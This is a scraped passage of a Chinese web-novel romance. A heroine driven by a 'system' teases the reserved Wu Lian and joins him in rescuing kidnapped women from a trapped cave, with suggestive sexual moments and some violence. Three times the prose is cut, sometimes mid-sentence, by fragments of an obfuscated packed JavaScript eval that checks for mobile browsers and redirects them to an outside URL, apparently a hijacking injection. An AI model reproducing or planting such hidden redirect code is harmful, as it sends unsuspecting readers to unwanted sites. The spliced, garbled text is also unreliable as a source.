“我什么也没——”她心虚了一下,正要否认,却在回头时,看见了邬涟。 邬涟立在廊下。 墨发被玉冠一丝不苟地悉数束起,衣衫整齐精致,仪态从容。 叶冬知在心中瘪嘴。 古板。 邬涟未语,墨瞳定定盯着叶冬知。 长安没听见,他却是听得清清楚楚。 做得好? 他的视线落到她身上,见她头照例是微垂着的,红唇微抿,眼神飘忽,像是在心虚。 邬涟从叶冬知身侧走过,他视线扫过笼子里的墨青,对着叶冬知道:“你的鸟啄伤了墨青,理当为它医治。” 闻言,叶冬知在心底发出一声冷笑,都说侯府大公子为人雅正公平,如今看来果然是,就连对待一只鸟也是这般。 她垂头不语,心里头一次暗暗期待着系统能给她一个合情合理发泄的机会。 叶冬知嘴角极缓勾起一抹笑意,来了。 【目标人物出现,宿主将按要求完成以下任务。】 【对目标说出台词:让我来补偿你。】 室内静谧半刻,却见原本低眉顺眼的叶冬知将手中装着吱吱的笼子交到阿蔷手上,转而朝着邬涟走去,随即在他面前站定。 邬涟不知她是何意,站在原地没有动作。 他的身量高,较之叶冬知高了近一个头,身材瘦削却并不孱弱,此时,从屋外透进来的光线悉数打在叶冬知的背上,转而映在他的身上。 从远处看去,像是两个人依偎在一起。 自邬涟的视角看去,能毫不费力地看到她白腻的脖颈、裸露的锁骨,甚至于锁骨之下被包裹在衣衫之内若隐若现的沟壑。 他眼睫微颤,不动声色微微移开了视线。 叶冬知仰着头看他,没有错过他眼底的那一抹情绪,嘴角刻意的娇媚掺进了几分恶劣,娇声道:“好啊,责任我是应该承担。可是,我却不忍心让大公子难过,想必,那只鹦鹉大公子平日里定是爱惜极了。” 邬涟睨她一眼,淡声道:“你想说什么?” 她娇声一笑,轻轻踮起脚尖,身子朝着对方靠近几分,身上那股清幽的香味像是藤蔓一般缠上他的感官。 迅速而猛烈,让人难以躲开。 她用只有两人才听得到的声音,极轻地吐出一句话,呼出的热气似乎都快要灌进他的耳朵。 “让大公子伤心是我的过错,不如......” “让我来补偿大公子吧。” 他的视线随着吐出的话,落到两片开合的殷红唇瓣上,还能隐隐窥见那条灵活的丁香小舌。 不知为何,他的身体突然不受控制紧绷起来。 就连耳朵也隐隐发热。 他本可以马上推开她。 但他没有。 直到听到一声“噗嗤”的笑声,他的理智瞬间回笼。 转眼间,一阵被戏弄的羞耻感像潮水一般涌上邬涟心头。 他的语气罕见地含了一丝愤怒,随即甩袖离去,末了,还留下一句带着冷意的话。 “自重。” 叶冬知看着邬涟几乎是落荒而逃的背影,终于憋不住笑了出来。 她现在可算是知道了,对于邬涟这种清高的人,你便要越无耻;你越无耻,他便越愤怒。 可偏偏他不能耐你何。 积聚在心中的怨愤都在此时消散了不少,叶冬知眉眼都舒展开来。 身后阿蔷疑惑地眨了眨眼睛,问道:“小姐,你方才对大公子说了什么呀,怎么大公子好似有点生气了,奴婢在府上这么久,还是第一次见大公子这般神情。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17525147|203452||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 叶冬知在前头笑而不答,只道:“秘密。” 吃过午膳,主仆两人出了府。 这还是叶冬知自从被绑定以来第一次出府。 周围的一切都让她觉得十分新奇。 两侧的小摊绵延不绝,各式诱人的小吃以及新奇的小物件都整齐摆放在摊位上。 吆喝声、叫卖声跌宕起伏,叶冬知走在其中,见对面一着蓝袍的少年正朝着她走来,在他的身后还有三两个穿着华贵的少年郎。 那蓝袍少年越走进她,脚步便变得越慢,直到见到她时,还未开口,两颊便已经变得通红。 叶冬知是有些印象的,这人是邬雯的兄长,侯府二公子邬彦。 他站在原地踌躇了半晌,直到叶冬知有离去的意思,他才走上前来,腼腆笑着同她打了招呼。 “叶小姐。” 叶冬知颔首,礼貌地回道:“二公子。” 邬彦继续道:“前些日子阿雯害你受伤,我本来想代她向你道歉,但最近课业繁忙,实在抽不开身。那日的事情,还望你不要放在心上。” 叶冬知今日出门本来是打算随便逛逛,买些东西后等着傍晚假装偶遇下值的邬涟。 让他带自己回府,到时候在马车里,孤男寡女更方便她行事。 思及此,她只是敷衍道:“二公子不用担心,那日我也冲动了。” 听她语气淡淡,少年面上有些失望,他稍微压低了声音又说:“叶小姐,我近日听说了你与长兄的传闻。” 叶冬知冷不丁出声打断了他,“你觉得我是传言中的人?” 邬彦一时语塞,反应过来,连忙道:“不、不是,我觉得叶小姐不是这样的人。” “那你是想同我说什么?” 邬彦在她不解的眼光下,突然有刹那觉得自己卑鄙的想法被悉数看穿,他不敢抬头,垂着眼,红着耳朵道:“长兄性子孤僻了些,若是叶小姐对长兄......” 他顿了顿,才接着道:“恐怕会难过,更何况,父亲还尚未归府......” 叶冬知沉默片刻,明白了他的意思,道:“我清楚自己的身份。” 自己话中的含义被人毫不留情地揭穿,邬彦一时感到有些难堪,他匆匆压下心头的蠢蠢欲动,开口道:“既如此,那我还有些事便先走了。” 叶冬知不答话,只是微微点了点头。 直到叶冬知的身影消失在人群中,邬彦才回头含着些不舍驻足看了一会。 其实,他哪里是希望她认清自己的身份,他不过是嫉妒罢了。 自从一年前叶冬知住进府中,他就暗自钦慕。 只可惜,她早晚都会是父亲的人,他既没有胆量表明心意,也不敢带她离开。 他如今已经十八岁,姨娘曾不止一次提过他要给他定亲,他都以无心儿女之情推掉了。 同僚一巴掌拍在邬彦的肩头,笑道:“看你那怀春的模样,那到底是哪家小姐啊,生得实在是标致,将你的魂都勾去了。” 邬彦心思被看穿,板着脸有些心虚道:“别乱说,坏了人家姑娘的清誉,那女子,将来是要做我嫡母的。” 几人“哦”了一声,恍然大悟,再次看向邬彦的眼神却多了几分揶揄和不屑。 不远处,停着一辆素净低奢的马车,车帘被人微微掀起,露出的手指骨节修长匀净。 邬涟信手放下帘子,眼中神色沉了沉。 今日他刚从宫中出来,就看到叶冬知与邬彦勾搭在一起。 实在是......实在是不知羞耻。 她将来是要做嫡母的人,怎可与晚辈牵扯不清,真是有悖人伦。 他身为府中长子,当为父解忧。 恪守本分这个道理,他该找个时间好好教教她。 5. 第 5 章 主仆二人等在邬涟下值的必经之路,直到酉时,也没见到邬涟的马车回府。 两旁的店铺都关了门,各个摊位也陆续收摊。 夕阳逐渐散去,叶冬知准备回府。 从她现在所在的平安坊到永定侯府,大约需要步行大半个时辰。 行至一条小巷时,身侧的阿蔷毫无征兆地突然倒地。 叶冬知吓了一跳,连忙俯身查看。 可眼前忽地一暗,一股异香涌入鼻间,瞬间失去了意识。 * 叶冬知是被一阵颠簸给惊醒的。 她睁开眼,入目是钉死的木板。 月光透过缝隙洒进了车厢,让她能在黑暗中勉强看清自己的处境。 整个马车车厢只有她一个人,简陋的车厢在快速行驶中颠得她生疼。 不知道吸入了什么,她只感觉头还有些昏痛。 她的四肢都被绑了起来,嘴巴也被人塞了布条,无法说话。 行了一段路,马车停了下来,隐约听见两个男子在交谈。 “这个是上乘货,你赶紧送过去,别让那边等着急了。” “知道了,你回去记得走小路,刑部那边已经在查了,小心些。” 简短的交谈过后,马车又开始行驶。 忽然—— “吁!” 一声马鸣后,马车疾停。 驾车的男子警惕问:“阁下是谁,拦我去路是为何?” 立在树下的人戴着面具不语,手腕翻转,长剑挥动。 眨眼间,一道血痕自驾车男子的脖颈间溢出。 叶冬知折腾了半晌,终于用并拢的双脚将自己嘴里塞的布条给夹出来。 她低头正要找有没有锋利的东西将手上的绳索隔断。 却只听见“咔嚓”一声,钉死的木板被人一剑划开。 月光自空隙处散落进来,照亮来人墨色的眸子。 冰冷无波。 叶冬知警惕地缩到车厢角落。 “你是谁?” 木板被几剑全部劈开,连带她受伤的绳索也被斩断,戴着面具的人沉默看了她几眼,冷声道: “已经没事了,我等会让人送你回府。” 是邬涟的声音。 叶冬知放下心,挣开绳索跳下车,问:“那你呢?” “被拐的女子并不只有你一人,我还得去下一个地方。” 闻言,叶冬知扫了眼邬涟身侧,见他只有一人,不正是单独相处的好时机。 思及此,她佯装害怕,走近几步,紧紧挨着邬涟站定。 语气中似乎还有些惊慌: “大公子,我在京城里被拐,可见,在天子眼皮下也不安全,我想跟着你,还是在你身边安全。” 邬涟语气冷然,一副毫无商量的口吻。 “不行。” 叶冬知凑近了些,身子软软依在他一侧臂膀。 黑暗的林中,月光透过茂密的枝叶,洒下星星点点斑驳的光,落在女子水盈盈的眼中。 “可我实在是害怕,万一回府路上我再被抓了怎么办?” 说话时,女子身体一侧的峰峦随着呼吸缓缓地、若有似无地蹭着他的臂膀。 邬涟眼睫颤了一下,向前走了一步,躲开她的触碰。 “不必担忧,送你回府的是我的亲信,一般人无法近身。” 叶冬知瘪嘴,又绕到他身前:“大公子这般推拒,是自认自己无法保护好我?” “还是说你因为今早的事记恨于我?” 女子幽怨的声音响彻在林中,邬涟睨她一眼,并未搭话,只冷冷道: “聒噪。” 眼见邬涟不松口,叶冬知也一时半会没了办法。 邬涟来时,为了掩人耳目,并未骑马,仅凭着一身轻功穿行。 如今要将叶冬知带出林子,便只能骑马。 邬涟将拉车的马牵出,自己先上了马,方对着叶冬知道:“上来。” 叶冬知仰头看去。 一缕月光映在他银色的面具上,折射出冰冷刺目的光。 邬涟立于马上,身着月色锦袍,无悲无喜的视线静静落在她身上。 他将手蜷缩在袖子里,朝她伸出一截小臂,示意她扶着他的手臂上马。 看来这位高洁无双的大公子,是一点都不想与她有丝毫触碰啊。 但叶冬知天生反骨,她偏就不如他的意。 她一边踩着马鞍,也不顾对方惊诧的眼神,自顾自地越过他的手臂,握住了他的手上了马。 女子温软的手心覆在他微凉的手背上。 一触即离。 但他终归没有说什么,只夹了夹马腹,马儿扬蹄跑了起来。 叶冬知两辈子加起来都没有骑过马,这一动,着实给她吓了一跳。 一着急,她伸手搂住了前面人的腰。 邬涟的腰和他的人不一样。 他的腰肢劲瘦紧实,春日的衣衫薄,她似乎能隔着衣衫感觉到他腰腹间脉搏的跳动啊,以及他皮肤的温热。 但在她搂住的一瞬间,邬涟顿时僵住了。 他过去的二十三年,守礼克制。 未曾与女子有过任何亲密的接触。 别的世家男子早早便有了通房和妾室,不少同僚提到家中娇妾也会一脸沉溺地回味,并绘声绘色地向他描绘何为温香软玉。 可他没有什么兴趣,也并不认为男女之事有这么令人着迷的威力。 男女之事,不过是为了传宗接代罢了。 但此刻。 一种从未有过的奇异触感令他无措。 柔软、温暖,以及连带着女子独有的体香,像是藤蔓一般,让他无所适从。 奈何身后的人似乎没有一丁点想要放开的迹象。 他放慢了速度,终是忍不住道: “不用抱着我,我骑术很好,不会让你摔下去。” 邬涟想了什么,叶冬知不知道。 因为此刻她的脑中又响起了系统的声音: 【发布任务:跟随任务目标一起探案,并制造身体接触。】 叶冬知未听出他话语中几乎要掩盖不住的羞愤,只自顾自道:“啊,但是我害怕,我第一次骑马呢。” 尽管邬涟放慢了速度,但带起的夜风还是吹得她耳边呼呼作响。 察觉到身后人环住自己腰肢的手又紧了紧,邬涟实在忍无可忍,语气沉了沉。 “你若再不松手,你便走着回去吧。” 此言一出,叶冬知赶忙松了手,改为死死拉住他的腰带。 她还得继续完成任务呢,万一邬涟这种冷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17525148|203452||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 酷无情的人真把她扔在这里怎么办。 行了一段路,叶冬知渐渐习惯了骑马,她看着两边荒芜的景色,有些无聊,问道: “大公子,你为何不让我抱着你,我现在拉着你腰带,勒着你,你也不好受啊?” 对方言简意赅:“我不喜与人触碰。” 叶冬知不解,“这算哪门子触碰,我又没摸到你衣服里面去。” 邬涟敛眉,不再接话。 他想不通,她的父亲虽是武将,但也家风清正,母亲更是温柔贤淑。 怎么女儿却......却这般。 还未待邬涟细想,身后人突地出声,她凑近了些许,吐出的热气有些许喷洒在他的耳廓,语气中还带着回味和不舍。 “大公子,其实你的腰抱起来还挺舒服的,看来,你的身材很好。” “吁——” 马儿骤然发出一声长鸣。 邬涟紧紧攥着缰绳勒停了马,脑中反复回荡着她刚才的话。 他的胸膛上下起伏,羞恼如潮水一般蹿向他的四肢。 她怎么、怎么能这样对着一个不是自己丈夫的男子,说出这样恬不知耻的话? 他自小梳洗都由自己完成。 别说其他女子,就连府中的丫鬟也未有人见过他的身体。 可现在,他身体私密的地方,却被她大大咧咧拿出来肆意谈论。 他紧紧抿着唇,冷声,“下去。” 叶冬知不明所以,“为什么?” “下去。”邬涟再次开口,声音比方才更冷。 叶冬知死死攥着他的腰带,摇头。 “我不,这里荒山野岭的,谁知道有没有什么老虎、蛇啊,我可不想死在这里。” 邬涟默了一瞬,指指不远处的马车。 “那是我的亲信,他会带你回府。” 叶冬知松了口气,但她又想起还未完成的任务,迟迟不下马。 邬涟不愧为君子,即便如此也没有将她拽下来。 只是自己下了马,准备靠轻功前往下一个地点。 他朝着对面的亲信走过去,正要嘱咐几句,可亲信忽然倒地不起,唇边流出黑色血液。 邬涟皱眉,立刻飞身上马,“他死了,这里不安全。” 语罢,便一夹马腹,马儿顿时冲了出去。 叶冬知正愁以什么理由赖在他身边,真是瞌睡来了有人递枕头。 亲信的死意味着刑部的行踪已经暴露,一路上,邬涟不语,只带着她快马加鞭赶往下一处地点。 这次的速度比之前快了许多,叶冬知即便拉着他的腰带也在马背上摇摇欲坠。 但她没有再开口戏弄他。 人命关天的事,此时开不得玩笑。 行至一处山路,陡峭颠簸,不时有石子跌下一侧的山崖。 叶冬知闭着眼,身体绷紧,将头侧向一边。 邬涟似乎察觉到她的忐忑和恐惧。 他的声音混着马蹄声传来,清冷可靠: “抱紧我,别摔下去。” 叶冬知很是意外,“你不是说你不喜欢别人碰你吗?” “我要是没经过你同意就搂着你,怕你等会又叫我下去。” 前面的人停顿片刻,遂道。 “......只此一次。” 6. 第 6 章 经过一段陡峭蜿蜒的山路,行至尽头,有一处极为隐蔽的山洞。 洞口处被藤蔓所覆盖,隐隐透出些火光。 邬涟勒停了马,将马拉至一处隐蔽的地方,道: “我先去看看,你就躲在这里。” 在危险的环境中共同查探未知,这是让感情升温的好机会。 叶冬知定然不可能错过。 于是她说:“我跟你一起去吧,万一我也像你亲信一般——” “不可。” 话还未说完,便被邬涟打断。 他回头,神情凝重,“里面机关重重,很危险。” 叶冬知其实也害怕,但她转头一想。 邬涟可是这个小世界的男主,肯定不会有什么大意外。 而她是攻略者。 在她进行攻略任务的过程中,是不可能死掉的,除非她攻略失败被系统抹杀。 想通这一点,叶冬知胆子大了许多,语气中颇有些自信和笃定,“放心,我会保护好自己的,没有点保命手段,我也不会傻到去送死。” 几息后,邬涟微微点头。 她下了马,跟着邬涟进了山洞。 洞内幽深狭长,只容一人通过。 邬涟走在前面,她紧紧跟在后面。 越往里,便能感觉越湿冷,并且不时有虫子从两侧黏腻的岩壁上爬过。 叶冬知心里有些犯怵,她不由自主地牵住前面人的衣角。 邬涟手持长剑,击打着两侧的石壁。 忽然,身后人伸手碰了下他的手。 很轻,让人有些痒。 他握着剑的手微微攥了攥,心中生出果然如此的想法。 他就知道,她不安分,总是逮着机会就撩拨他。 可此时,却传来身后人诚恳的声音:“大公子,有只虫子爬到你袖子了,我帮你弄掉了。” 语气单纯,毫无作弄之意。 邬涟有些意外,“多谢。” 不多时,前方陡然亮了起来,二人从狭窄的通道走出,入目是一个圆形的空间。 两旁都是石壁,岩壁上有许多蜡烛。 在烛光的照耀下,四周景象一览无余。 这,就是一条死路。 邬涟敛眸,他探过不少案子,世间擅长机关者不在少数。 这里,定有机关。 叶冬知看他在石壁上敲敲打打,她也学着在周围查探起来。 不多时,她摸到一处细微的突起,她连忙回头,语气惊喜: “大公子,这里好像有点不对劲!” 还没等她高兴完,她脚底顿时露出一个大坑,与此同时,四周射出无数箭矢。 邬涟闪身躲过箭矢跳进深坑,一把捞住下落的叶冬知,另一只手持剑插入岩壁,试图稳住二人身体。 变故太突然,叶冬知吓蒙了,借着邬涟的手臂,四肢紧紧地缠绕在他身上。 她将头埋在他的胸口处。 很奇怪,邬涟的心跳声不像她,在下落的一瞬间就剧烈起来。 而是很有规律地,随着她越贴越紧,而不断加快。 于邬涟而言,当下的处境并不算危险。 这些年,他探查奇案,为了一步步爬到今天的位置,有过许多比今天更险的境地。 即便在那些时候,他也没有慌乱过。 唯独现在。 他心头生出些莫名的烦躁。 她像条八爪鱼一样攀在他的身上,两条腿盘在他的腰间。 这般奇异又暧昧的姿势。 令他控制不住地心跳加速。 剑划过岩壁摩擦出火花,二人下落的速度缓缓下降,最终稳在半空中。 他僵硬着身子,怀中女子的头还埋在他胸膛处,弓着脊背,微微战栗着,头顶的发香丝丝缕缕传入他的鼻腔。 四周昏暗,寂静无声。 感官会被无限放大。 怀里女子温软娇小,胸前两处柔软贴在他胸前,随着她的战栗不断起伏着。 让他想忽视都难。 半晌,怀中女子低声问,“到底了?” 说着,她探头一看,看见下面仍然是黑漆漆一片,顿时又被吓得一缩,双臂紧紧搂着他的脊背。 “大公子,我听说你武功很好,跳下去不会摔死我们俩吧。” 邬涟微微喘息,声音掺杂着半分哑意。 他闭了闭眼,方道:“不会。” 为了忽视那异样的感觉。 他垂眸在心中计划如何跳下去才安全。 但怀里人却不安分,她扭了扭身子,有些不满:“大公子,你身上揣了什么东西,有点硬,硌着我屁股疼。” 他出门在外向来简装,若说硬的东西,除了他手中这把剑便再无他物。 可现在这把剑正插在岩壁上。 那便只有...... 意识到什么后,邬涟眉心重重一跳。 他不敢多想,运功在岩壁间借力,带着叶冬知稳稳落在了地上。 甫一落地,他便松开了扶住叶冬知背的手,有些踉跄地往后退了两步。 好在四周仍是黑暗一片,对方看不到他狼狈的神情。 也不曾发现他错乱的呼吸。 叶冬知平安落地之后,不由得赞叹一声:“哇,你好厉害啊!我还以为电视里那些人飞檐走壁是假的呢。” 邬涟无心回应她。 他握剑的手指微微颤抖,沉沉吐了口气压下剧烈的心跳。 他怎么会对她有了这般可耻的反应。 真是枉为人子。 叶冬知并不知身后人在想什么。 她观察着周围的一切。 除了一片黑漆漆外,便只能听见若隐若现的水流声。 正待她想要仔细辨别时,忽然传来一阵小心翼翼的脚步声。 她刚要惊呼出声提醒邬涟,而对方比她更快一步,已经拉着她退到了一处遮掩的石壁之后。 不远处有男子压着嗓音说话: “凌婵,你刚刚那招可真厉害!刷刷刷,那一片人就倒了!你出去之后也教教我呗!” “怎么不说话啊,今天你就只和我说过五句话。” “凌女侠?凌婵?婵婵?” 但听一声剑鸣,一道女声冷冷传来:“闭嘴,不然我就杀了你。” 男子果然没再吭声。 脚步声越来越近,女子忽然拔剑,十分敏锐地指着叶冬知两人的方向:“谁?滚出来。” 叶冬知知道藏不住了,但她也从那几句话判断出这两人应该不是坏人,于是主动开口。 “你们也是来查京都妙龄女子失踪一事的?” 闻言,女子软了语气,举起火折子扫了一眼叶冬知和邬涟二人,不客气道,“是,但你们二人一看便是世家子弟吧,我劝二位还是别来趟这趟浑水。” 借着火光,叶冬知打量起对面二人。 女子一身黑色劲装,头发被束成马尾,手持一把细剑,长相清冷秀美。 男子穿着一身精致的锦袍,头戴玉冠,面容白皙俊秀,气质温隽,显然非富即贵。 叶冬知轻笑一声,指着后面的男子道:“照你这么说,那他一看也是个大少爷,怎么他能来,我们不能来?” 女子收了剑,没好气道:“是他舔着脸非要跟来的。” 男子见状,连忙道:“这位小姐莫多想,在下齐越白,这位女侠是凌姑娘,我们二人都是来调查女子失踪一案的。” “凌姑娘面冷心热,她只是担心你们受伤,才这样说的。” 叶冬知点头表示理解,“我叫叶冬知,这次是与......” 说着,她瞥向一侧的邬涟。 对方这次出来特意带着面具,想必是不愿意让人知道他的身份。 于是,她接着道,“这次是和我兄长一起来探查此事。” 兄长? 邬涟垂眸看她,并未搭话。 叶冬知有些尴尬,这人是木头吗,亏得她还主动给他遮掩身份。 思及此,她手肘碰了碰身后的人,“是吧,哥哥?” 女子音色娇软,唤起这个称呼来不自觉便带上一股依恋的味道。 邬涟简单应了一声,算是默认了二人此刻的身份。 “嗯。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17525149|203452||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 齐越白是个自来熟,见此道:“我见叶兄风采便知道他是个高手,婵婵,咱们也不用担心,说不定到时候咱们还得要他们保护呢?” 凌婵眉头一皱,作势又要拔剑。 “说了别这样叫我,听着恶心,再乱说,我现在就把你舌头割下来!” 齐越白害怕地摆摆手,乖乖闭了嘴。 过了一会,从齐越白和凌婵的口中,叶冬知才明白事情的始末。 京中妙龄的美貌女子频繁失踪,朝廷一直追查,奈何一直查不到凶手将人藏在了何处。 只知道每隔一段时间,便有女子莫名其妙惨死在街头。 死状凄惨,衣不蔽体,下身糜烂。 被拐走的都是寻常人家的女子,家中亲人报了官府,也一直未有线索。 而凌婵乃江湖中人,平生爱惩恶扬善,最近正途径京都,闻此悬案,便来查探一番。 正巧碰见一女子和齐越白被迷昏带走,便将两人救下。 经此,齐越白对凌婵大为钦慕,说什么也要跟着她来探案。 听到一半,叶冬知发出了疑问,“等等,齐越白不是男的吗,怎么也被迷晕了?” 闻言,齐越白在一侧露出颇为羞涩的笑容,“兴许是我长得太好看,有人好我这一口呢。” 叶冬知沉默了。 平心而论,齐越白确实长得不错,甚至可以称得上是美。 和邬涟不同,邬涟那张脸冷峻、锋利、疏离,让人看了之后不会生出任何亵渎的念头,只会觉得此人难以接近,深不可测。 但齐越白眉目温润,脸上总是带着笑意,甚至还有些娇气。 凌婵嗤了一声,“不要脸。” 齐越白朝着凌婵露出个笑,又继续说。 后来,二人日夜蹲守,终于顺藤摸瓜到此处。 这也是为什么朝廷一直没查出来的原因。 盖因这群凶手将女子都关在这处极为隐蔽的山洞,洞内又机关重重,若非武功盖世,绝无可能躲过机关进来。 叶冬知听得认真,看来邬涟今夜计划到此处,也是查得差不多了,才有把握。 正想着,齐越白忽然朝她靠近些许,压低了声音道:“你哥哥怎么不说话,还一直盯着我,他是不是不太喜欢我?” 叶冬知顺势回头,看见一侧的邬涟静静看着她与齐越白,冰冷的面具在火折子下折出幽冷的光。 那双眼睛墨色沉沉,眼里的神色皆被长睫盖住,看不出来。 叶冬知摆手,“唉,我哥就那个性子,冷冰冰的,也不爱说话,二十好几了,也没说给我找个嫂子。” 听到这,齐越白来了兴致,“我虽然没有见过叶兄的真容,但见叶小姐的样貌,想必叶兄定是一表人才。” “我在京都认识好多小姐,都美貌聪慧,到时候回去我定为叶兄引荐!” 凌婵在一边冷笑一声,“你少在那里瞎操心,别人说不定是自己不想成婚,用得着你来添乱。” “行了走吧,等会打起来了,我可顾不上你。” 要走出这地下,需得渡过地下河。 地下河就在不远处,难怪方才叶冬知便听见一阵水流声。 要渡过地下河,需要踏着地下河中的石头过去。 这些石头常年被水浸着,湿滑圆润,稍不留神,便会踩滑摔倒。 四人中,只有叶冬知不会功夫,就连齐越白,也会几招三脚猫。 凌婵打头,齐越白紧随其后。 行至途中,齐越白脚一滑,险些摔到水里去。 他蹙着眉,语气竟有些撒娇,“婵婵,你走慢点,我又没你武功好,差点摔了。” 凌婵深吸口气压下心里那股烦躁,耐着性子将剑递给他,“扶着我的剑。” 邬涟是第三个。 他刚迈出一步,身后的人被扯住了他的袖子,软声道: “哥哥,你知道的,我也不会武功。” 邬涟回头,幽暗中,她目光莹莹,正期待地看着他。 他将“哥哥”两字在舌尖滚了一遍,喉间动了动。 然后伸出了自己的手,“走吧。” 7. 第 7 章 渡过地下河后,仍旧是一条幽暗小道。 四周弥漫着一股令人作呕的蛇腥味。 齐越白搓搓手臂,“我怎么听见‘嘶嘶''的声音,这里不会有蛇吧?” 话落,两侧的岩壁忽然异动,带起一阵烟尘。 紧接着,肉眼可见左右两边的岩壁向着中间快速合拢。 “有机关。” 邬涟沉声。 其余三人立刻开始在岩壁上摸索。 机关比想象中合拢的速度更快,不过片刻,便已经挤压到一人宽的地步。 叶冬知焦急地在四周敲打,忽然触到一物,冰凉滑腻的触感从指尖传来。 凌婵举着火匣子一照,三条蛇挂在岩壁之上,头部被人嵌在凿出的洞中,只余身子露在外面。 “啊!” 叶冬知被吓得叫出了声。 邬涟一眼便看出这就是机关的关窍所在,“三条蛇,拉中了,机关就会停止。” “若是拉错了呢?”叶冬知心跳得飞快,内心已有了不好的猜测。 邬涟言简意赅,“死。” 说话这点时间,两侧岩壁已经越来越近,众人皆被压得有些难以呼吸。 齐越白出声,“拉吧,叶小姐,真错了,算我们运气不好。” 心跳快得仿佛要窒息,三条蛇长得一样,根本看不出差别。 叶冬知心一横,颤抖着手闭眼拉住了最右边的蛇。 “啪嗒”一声,蛇身断裂,溅出的蛇血喷在叶冬知的脸上。 腥臭黏腻。 石壁发出一声响声,随后停了下来。 劫后余生的众人松了口气,从狭窄的通道里慢慢钻出来。 叶冬知顶着一脸的蛇血,由于过度紧张,加上那股刺鼻的气味,她险些栽倒在地。 身子陡然被人扶住,一只修长白净的手递过来一块帕子。 等她回头,发现那人已经查看起了面前的三道石门。 齐越白脸色煞白,扶着一旁的石柱喘气。 就连凌婵,脸色也不太好看。 邬涟戴着面具,目光沉静不见慌乱。 他总是这般,仿佛泰山崩于面前仍能做到面不改色。 “吓死我了,还以为今天要交代在这里了。” 齐越白靠在石柱上,浑身像被抽干了力气,“今日要是真把那些失踪女子找到了,我也算个英雄了,你说是不是,婵婵?” 凌婵没理会他,平复好心情后也开始研究起面前的石门来。 石门高十余尺,结实厚重,肯定没法直接破开。 未待众人发现端倪,邬涟已有定论,“同方才一样,三扇门,只有一处可走。” “其余两处,应都是机关。” 齐越白哭丧着脸,“这山洞的建造者是不是变态啊,这么喜欢弄选择题,关键还没有提示。” 叶冬知惊奇看了看齐越白。 她总觉得,自从刚才,齐越白在劫后余生说的话,有些耳熟,不像是这个时代世家子弟会有的。 她心中有了猜测,但还不敢确定。 凌婵嫌弃地看了齐越白一眼,拔出了剑,“大家都还没死,你在这哭什么丧,你去,打开中间的门。” 齐越白不敢置信地看了她一眼,委屈道:“婵婵,你这不是让我送死吗?” 凌婵冷嗤,“你总说我看不起你,现在你证明自己的时候到了。” “放心,真死了的话,我会给你收尸。” 二人斗嘴之时,邬涟蹲下身仔细查看三扇门之间的不同。 若是只有一处为真正的入口,那么此门必定常有人触碰。 果不其然,三扇门表面都布满灰尘,在依然可见中间那扇门上有一处有磨损,连带着石门上的花纹都已有些模糊不清。 看来,这便是机关。 邬涟出声提醒身后几人:“退后。” 语罢,他将掌心放置于此处,轻轻按下。 很快,原本毫无缝隙的地方却有一块轻微下陷。 轰隆一声过后,一个洞口露了出来。 几人从入口进去,面前的一幕让人震惊。 饶是叶冬知看过许多电视剧,但是都不及亲眼所见来得震撼。 面前是一处开阔宽广的空间,四周岩壁被人为凿出仅容纳一人蜷缩的空间。 而每个洞口安上栅栏,栏杆处依稀可见深红色的印迹。 那是那些女子在挣扎时留下的。 这样的空间自上而下,密密麻麻地铺满了整个洞窟,共计四十九个。 可如今,这里却空无一人。 看来,他们来晚了一步,这些女子以及所有的匪徒都得到消息提前离开了。 “现在怎么办,要继续追查下去吗?” 叶冬知问身侧的人。 “要。” 邬涟此前已经在御前领命接下此案件,自是不可半途而废。 能得到消息提前离开,说明这次的匪徒并非常人,刑部之中或许也有内鬼。 倒是比他想象得还要棘手。 只是他身边还有几个拖累,不太方便行事。 若要带着他们,总顾忌他们的安危。 邬涟扫过眼前几人,对着凌婵与齐越白道:“我有任务在身,必须得查明真相,二位侠肝义胆,此番已尽力,不必再继续趟这趟浑水。” 齐越白自从在京中长大,虽未入仕,但在长辈耳濡目染间也能听出此案非同寻常。 观这位叶兄处事,想来是在大理寺或者刑部任职,才有此等洞察和手段。 凌婵是江湖中人,自是不懂官场上的未尽之语,皱眉道:“你什么意思?难道担心我会拖你后腿?我凌婵虽不是绝顶高手,至少在这京都,能打过我的不过十余人!” 齐越白连忙劝阻,“婵婵,这事不是我们能插手的了,方才要不是叶兄,你我怕都已经命丧黄泉了,接下来说不定会遇到更危险的事,到时候只怕是顾不上我们。” “可是——”凌婵还想说什么,被一旁的叶冬知打断。 只见她朝自己露出一个安抚的笑容,“我知道凌姑娘是怕那些女子已经遭遇不测,放心吧,一切都在我兄长掌控之中,他早就留了后手。” 见此,凌婵才松了口,“好,既如此,你们多加小心,要是有什么需要帮忙的,尽管来城南悦来客栈找我。” 